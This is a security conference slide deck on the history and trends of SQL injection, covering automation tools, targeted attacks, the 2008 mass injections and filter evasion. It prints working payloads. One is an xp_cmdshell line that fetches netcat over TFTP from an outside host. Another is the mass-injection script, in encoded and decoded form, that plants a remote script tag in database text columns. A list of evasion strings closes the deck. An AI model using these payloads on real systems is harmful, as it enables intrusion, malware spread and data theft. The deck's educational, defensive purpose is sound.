THE PAST, PRESENT AND FUTURE

SQL INJECTION

Jerry Mangiarelli, CISSP, CEH
The plan

• What is SQL Injection
  - How common is it

• What did we see ... What are we seeing
  - Automating SQL Injection
  - Targeted attacks
  - Mass injections

• What will we see...
  - Mass, mass and more mass.
  - Injected - SQL Injection
  - Chained Attacks
  - Evasion Techniques
What is SQL Injection

SQL injection is possible when user-supplied data is embedded directly into a dynamic SQL query, which is then executed.
SQL Injection in **two** minutes

www.victim.com/showproducts.asp?category=sports

```
SELECT * FROM PRODUCTS WHERE category='sports'
```
SQL Injection in **two** minutes

- `www.victim.com/showproducts.asp?category=sports`’
- `SELECT * FROM PRODUCTS WHERE category='sports''`
- Unclosed quotation mark before the character string ‘sports;’
- Unclosed quotation mark before the character string ‘sports’
How common is it?
What did we see ... What are we seeing

Automating SQL Injection

- Adversaries have moved to the next level - automation
- Discover attack targets, exploit and extract data
- Target specific vendor brands or single tasks
- Injection point, identify database, extract metadata
- SQL Ninja - targets Microsoft SQL Server
- SQL Map – injection point based on Google searches
What did we see ... What are we seeing

Targeted Attacks

- Objectives/motives drive the adversaries
- Defacement, financial gain, destructive ... etc
- Heartland, 7-Eleven and Hannaford
- So you found a SQLi, what’s next?
What did we see ... What are we seeing

Targeted Attacks

- Higher privileged account – many ways to obtain
- xp_cmdshell – Disabled on SQL 2005, but can be reenabled
- TFTP + nc = foothold into the internal network
- Let’s take a look ...
What **did** we see ... What are **we** seeing

Targeted Attacks ... cont’d

- `'; exec master..xp_cmdshell 'tftp -I 192.168.0.1 GET nc.exe c:\nc.exe'--`
- Microsoft Visual Studio includes a command line compiler, cl.exe
- Registry entry, Windows Service and Windows Task Scheduler
- Port Scanner or to sniff traffic like passwords, credit card information, network details about other systems and locations, and other “goodies in between
What **did** we see ... What are **we** seeing

**Mass Attacks**

• Mass SQL Injection makes a grand entrance in 2008
• Asprox Trojan was initially used to create a spam botnet
• May 2008, msscntr32.exe (Microsoft Security Center Extension)
What did we see ... What are we seeing

Mass Attacks

DECLARE@S VARCHAR(4000); SET@S=CAST(0x4445434C415245204054205641524348415228323535292C40432056415243484152283235352920444534C415245205461626C655F437572736F7220435552534F5220464F522053454C4543420612E6E616D7320612C737973636F6C757374414E4420612E78747970653D525452594D544F5444348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043204
What did we see ... What are we seeing

Mass Attacks

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.somedomain.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C
What will we see …

- Mass SQL Injection attacks will continue to form new botnets
- Injected – SQL Injection
Injected – SQL Injection

- Intentionally developed to contain an SQL Injection
- Adversaries are shifting to open source as a way to deliver their malware
- Insider threat, ensures that an SQL Injection is present for use.
- Asterisk to bypass the dynamic SQL
What will we see …

• Mass SQL Injection attacks will continue to form new botnets
• Injected – SQL Injection
• Chained attacks
Chained Attacks

• The mass SQL Injection in 2008 / 2009 = chained attack
• FTP credential compromise that redirected visitors in an attempt to drop malware
• Remote administration - phpmyadmin
What will we see ...
What will we see ...

- Mass SQL Injection attacks will continue to form new botnets
- Injected – SQL Injection
- Chained attacks
- Evasion techniques
What will we see …

Evasion Techniques

- Research/attacks to bypassing input validation
- False positive – an indication that a vulnerability exist, but it really doesn’t
- False negative – no indication that a vulnerability exist, but one does
What will **we** see …

Evasion Techniques

`value' OR value' OR 5=5 OR 's'='0
value' AND 5=5 OR 's'='0
value' OR 5=0 OR 's'='0
value' AND 5=0 OR 's'='0
0+value
value AND 5=5
' having 1=1 --
1 having 1=1--
somechars' +'
'; select * from sys.dba_users--`
What will we see …

Evasion Techniques
Final Thoughts ...
... thanks for sticking around!